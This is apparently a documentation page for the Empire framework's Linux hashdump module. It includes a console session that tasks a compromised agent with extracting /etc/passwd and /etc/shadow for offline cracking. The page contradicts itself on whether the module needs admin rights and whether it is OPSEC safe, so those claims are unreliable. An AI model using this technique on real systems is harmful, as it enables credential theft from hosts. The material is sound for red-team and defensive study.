Linux Hashdump - Empire Module


This page contains detailed information about how to use the python/collection/linux/hashdump Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Linux Hashdump
Module: python/collection/linux/hashdump
Source code: empire/server/modules/python/collection/linux/hashdump.yaml
MITRE ATT&CK: T1003
Language: Python
Needs admin: Yes
OPSEC safe: Yes
Background: No

The hashdump module extracts the /etc/passwd and /etc/shadow, unshadowing the result.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the hashdump module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the hashdump module:

Agent
Agent to execute module on.

Hashdump Example Usage

Here's an example of how to use the hashdump module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/collection/linux/hashdump

 Author       @harmj0y                                                          
 Background   False                                                             
 Description  Extracts the /etc/passwd and /etc/shadow, unshadowing the result. 
 Language     python                                                            
 Name         python/collection/linux/hashdump                                  
 NeedsAdmin   True                                                              
 OpsecSafe    True                                                              
 Techniques   http://attack.mitre.org/techniques/T1003                          


,Record Options-,----------,-----------------------------,
| Name  | Value | Required | Description                 |
|-------|-------|----------|-----------------------------|
| Agent |       | True     | Agent to execute module on. |
'-------'-------'----------'-----------------------------'

(Empire: usemodule/python/collection/linux/hashdump) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/linux/hashdump) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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References

See Also

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
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